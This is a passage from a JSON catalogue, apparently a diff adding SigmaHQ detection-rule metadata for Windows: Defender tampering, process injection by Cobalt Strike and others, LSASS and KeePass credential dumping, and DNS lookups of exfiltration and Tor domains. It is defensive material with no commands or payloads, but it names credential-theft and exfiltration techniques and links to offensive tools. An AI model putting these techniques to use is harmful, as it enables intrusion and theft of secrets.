Protection Trigger", + "meta": { + "refs": [ + "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/05", + "filename": "win_defender_tamper_protection_trigger.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects all actions taken by Windows Defender malware detection engines", + "uuid": "57b649ef-ff42-4fb0-8bf6-62da243a1708", + "value": "Windows Defender Threat Detected", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/07/28", + "filename": "win_defender_threat.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", + "uuid": "0b7889b4-5577-4521-a60a-3376ee7f9f7b", + "value": "WMI Persistence", + "meta": { + "refs": [ + "https://twitter.com/mattifestation/status/899646620148539397", + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ], + "creation_date": "2017/08/22", + "filename": "win_wmi_persistence.yml", + "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote thread injection events based on action seen used by bumblebee", + "uuid": "994cac2b-92c2-44bf-8853-14f6ca39fbda", + "value": "Bumblebee Remote Thread Creation", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_bumblebee.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011", + "attack.t1059.001" + ], + "creation_date": "2022/09/27", + "filename": "create_remote_thread_win_bumblebee.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote thread creation from CACTUSTORCH as described in references.", + "uuid": "2e4e488a-6164-4811-9ea1-f960c7359c40", + "value": "CACTUSTORCH Remote Thread Creation", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1090588499517079552", + "https://github.com/mdsecactivebreach/CACTUSTORCH", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.012", + "attack.execution", + "attack.t1059.005", + "attack.t1059.007", + "attack.t1218.005" + ], + "creation_date": "2019/02/01", + "filename": "create_remote_thread_win_cactustorch.yml", + "author": "@SBousseaden (detection), Thomas Patzke (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", + "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42", + "value": "CobaltStrike Process Injection", + "meta": { + "refs": [ + "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", + "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ], + "creation_date": "2018/11/30", + "filename": "create_remote_thread_win_cobaltstrike_process_injection.yml", + "author": "Olaf Hartong, Florian Roth, Aleksey Potapov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process", + "uuid": "052ec6f6-1adc-41e6-907a-f1c813478bee", + "value": "CreateRemoteThread API and LoadLibrary", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-180719170510.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ], + "creation_date": "2019/08/11", + "filename": "create_remote_thread_win_loadlibrary.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote thread creation in KeePass.exe indicating password dumping activity", + "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a", + "value": "KeePass Password Dumping", + "meta": { + "refs": [ + "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", + "https://github.com/denandz/KeeFarce", + "https://github.com/GhostPack/KeeThief", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.005" + ], + "creation_date": "2022/04/22", + "filename": "create_remote_thread_win_password_dumper_keepass.yml", + "author": "Timon Hackenjos", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n", + "uuid": "f239b326-2f41-4d6b-9dfa-c846a60ef505", + "value": "Password Dumper Remote Thread in LSASS", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.s0005", + "attack.t1003.001" + ], + "creation_date": "2017/02/19", + "filename": "create_remote_thread_win_password_dumper_lsass.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Antivirus products" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a remote thread from a Powershell process to another process", + "uuid": "eeb2e3dc-c1f4-40dd-9bd5-149ee465ad50", + "value": "Accessing WinAPI in PowerShell. Code Injection", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_code_injection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/06", + "filename": "create_remote_thread_win_powershell_code_injection.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell remote thread creation in Rundll32.exe", + "uuid": "99b97608-3e21-4bfe-8217-2a127c396a0e", + "value": "PowerShell Rundll32 Remote Thread Creation", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_powershell_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011", + "attack.t1059.001" + ], + "creation_date": "2018/06/25", + "filename": "create_remote_thread_win_susp_powershell_rundll32.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", + "uuid": "66d31e5f-52d6-40a4-9615-002d3789a119", + "value": "Suspicious Remote Thread Source", + "meta": { + "refs": [ + "Personal research, statistical analysis", + "https://lolbas-project.github.io", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2019/10/27", + "filename": "create_remote_thread_win_susp_remote_thread_source.yml", + "author": "Perez Diego (@darkquassar), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", + "uuid": "f016c716-754a-467f-a39e-63c06f773987", + "value": "Suspicious Remote Thread Target", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml" + ], + "tags": "No established tags", + "creation_date": "2022/08/25", + "filename": "create_remote_thread_win_susp_remote_thread_target.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects a remote thread creation in suspicious target images", + "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03", + "value": "Remote Thread Creation in Suspicious Targets", + "meta": { + "refs": [ + "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_targets.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.003" + ], + "creation_date": "2022/03/16", + "filename": "create_remote_thread_win_susp_targets.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects a remote thread creation of Ttdinject.exe used as proxy", + "uuid": "c15e99a3-c474-48ab-b9a7-84549a7a9d16", + "value": "Remote Thread Creation Ttdinject.exe Proxy", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/05/16", + "filename": "create_remote_thread_win_ttdinjec.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of an ADS data stream that contains an executable (non-empty imphash)", + "uuid": "b69888d4-380c-45ce-9cf9-d9ce46e67821", + "value": "Executable in ADS", + "meta": { + "refs": [ + "https://twitter.com/0xrawsec/status/1002478725605273600?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ], + "creation_date": "2018/06/03", + "filename": "create_stream_hash_ads_executable.yml", + "author": "Florian Roth, @0xrawsec", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers", + "uuid": "573df571-a223-43bc-846e-3f98da481eca", + "value": "Creation Of a Suspicious ADS File Outside a Browser Download", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/10/22", + "filename": "create_stream_hash_creation_internet_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Other legitimate browsers not currently included in the filter (please add them)", + "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a file on disk that has an imphash of a well-known hack tool", + "uuid": "19b041f6-e583-40dc-b842-d6fa8011493f", + "value": "Hacktool Download", + "meta": { + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hacktool_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ], + "creation_date": "2022/08/24", + "filename": "create_stream_hash_hacktool_download.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Exports the target Registry key and hides it in the specified alternate data stream.", + "uuid": "0d7a9363-af70-4e7b-a3b7-1a176b7fbe84", + "value": "Exports Registry Key To an Alternate Data Stream", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2020/10/07", + "filename": "create_stream_hash_regedit_export_to_ads.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", + "uuid": "52182dfb-afb7-41db-b4bc-5336cb29b464", + "value": "Suspicious File Download from File Sharing Domain", + "meta": { + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ], + "creation_date": "2022/08/24", + "filename": "create_stream_hash_susp_domain_ext_combo.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", + "uuid": "ae02ed70-11aa-4a22-b397-c0d0e8f6ea99", + "value": "Unusual File Download from File Sharing Domain", + "meta": { + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo_med.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ], + "creation_date": "2022/08/24", + "filename": "create_stream_hash_susp_domain_ext_combo_med.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the download of suspicious file type from URLs with IP", + "uuid": "025bd229-fd1f-4fdb-97ab-20006e1a5368", + "value": "Unusual File Download from Direct IP Address", + "meta": { + "refs": [ + "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/09/07", + "filename": "create_stream_hash_susp_ip_domains.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "4d07b1f4-cb00-4470-b9f8-b0191d48ff52", + "value": "Query To Remote Access Software Domain", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_remote_access_software_domains.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/07/11", + "filename": "dns_query_remote_access_software_domains.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "FP may be caused in legitimate usage of the softwares mentioned above" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes", + "uuid": "065cceea-77ec-4030-9052-fc0affea7110", + "value": "DNS Query for Anonfiles.com Domain", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2022/07/15", + "filename": "dns_query_win_anonymfiles_com.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Legitimate access to anonfiles.com" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service", + "uuid": "7bd3902d-8b8b-4dd4-838a-c6862d40150d", + "value": "DNS HybridConnectionManager Service Bus", + "meta": { + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_hybridconnectionmgr_servicebus.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ], + "creation_date": "2021/04/12", + "filename": "dns_query_win_hybridconnectionmgr_servicebus.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL", + "uuid": "7cff77e1-9663-46a3-8260-17f2e1aa9d0a", + "value": "AppInstaller Attempts From URL by DNS", + "meta": { + "refs": [ + "https://twitter.com/notwhickey/status/1333900137232523264", + "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lobas_appinstaller.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/11/24", + "filename": "dns_query_win_lobas_appinstaller.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", + "uuid": "f356a9c4-effd-4608-bbf8-408afd5cd006", + "value": "Suspicious Cobalt Strike DNS Beaconing", + "meta": { + "refs": [ + "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2021/11/09", + "filename": "dns_query_win_mal_cobaltstrike.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries for subdomains used for upload to MEGA.io", + "uuid": "613c03ba-0779-4a53-8a1f-47f914a4ded3", + "value": "DNS Query for MEGA.io Upload Domain", + "meta": { + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mega_nz.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2021/05/26", + "filename": "dns_query_win_mega_nz.yml", + "author": "Aaron Greetham (@beardofbinary) - NCC Group", + "level": "high", + "falsepositive": [ + "Legitimate Mega upload" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).", + "uuid": "eb07e747-2552-44cd-af36-b659ae0958e4", + "value": "Possible DNS Rebinding", + "meta": { + "refs": [ + "https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_possible_dns_rebinding.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1189" + ], + "creation_date": "2019/10/25", + "filename": "dns_query_win_possible_dns_rebinding.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", + "uuid": "36e037c4-c228-4866-b6a3-48eb292b9955", + "value": "Regsvr32 Network Activity", + "meta": { + "refs": [ + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", + "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.001", + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/10/25", + "filename": "dns_query_win_regsvr32_network_activity.yml", + "author": "Dmitriy Lifanov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries for ip lookup services such as api.ipify.org not originating from a non browser process.", + "uuid": "ec82e2a5-81ea-4211-a1f8-37a0286df2c2", + "value": "Suspicious DNS Query for IP Lookup Service APIs", + "meta": { + "refs": [ + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://twitter.com/neonprimetime/status/1436376497980428318", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ipify.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1590" + ], + "creation_date": "2021/07/08", + "filename": "dns_query_win_susp_ipify.yml", + "author": "Brandon George (blog post), Thomas Patzke (rule)", + "level": "medium", + "falsepositive": [ + "Legitimate usage of ip lookup services such as ipify API" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detect suspicious LDAP request from non-Windows application", + "uuid": "a21bcd7e-38ec-49ad-b69a-9ea17e69509e", + "value": "Suspicious LDAP Domain Access", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ldap.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ], + "creation_date": "2022/08/20", + "filename": "dns_query_win_susp_ldap.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Programs that also lookup the observed domain" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)", + "uuid": "778ba9a8-45e4-4b80-8e3e-34a419f0b85e", + "value": "Suspicious TeamViewer Domain Access", + "meta": { + "refs": [ + "https://www.teamviewer.com/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_teamviewer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/01/30", + "filename": "dns_query_win_susp_teamviewer.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown binary names of TeamViewer", + "Other programs that also lookup the observed domain" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS resolution of an .onion address related to Tor routing networks", + "uuid": "b55ca2a3-7cff-4dda-8bdd-c7bfa63bf544", + "value": "Query Tor Onion Address", + "meta": { + "refs": [ + "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.003" + ], + "creation_date": "2022/02/20", + "filename": "dns_query_win_tor_onion.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries for subdomains used for upload to ufile.io", + "uuid": "1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b", + "value": "DNS Query for Ufile.io Upload Domain", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_ufile_io.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2022/06/23", + "filename": "dns_query_win_ufile_io.yml", + "author": "yatinwad and TheDFIRReport", + "level": "high", + "falsepositive": [ + "Legitimate Ufile upload" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "uuid": "df5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2", + "value": "Credential Dumping Tools Service Execution", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ], + "creation_date": "2017/03/05", + "filename": "driver_load_mal_creddumper.yml", + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "uuid": "d585ab5a-6a69-49a8-96e8-4a726a54de46", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "level": "critical", + "falsepositive": [ + "Highly unlikely" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell script installed as a Service", + "uuid": "46deb5e1-28c9-4905-b2df-51cdcc9e6073", + "value": "PowerShell Scripts Run by a Services", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/10/06", + "filename": "driver_load_powershell_script_installed_as_service.yml", + "author": "oscd.community, Natalia 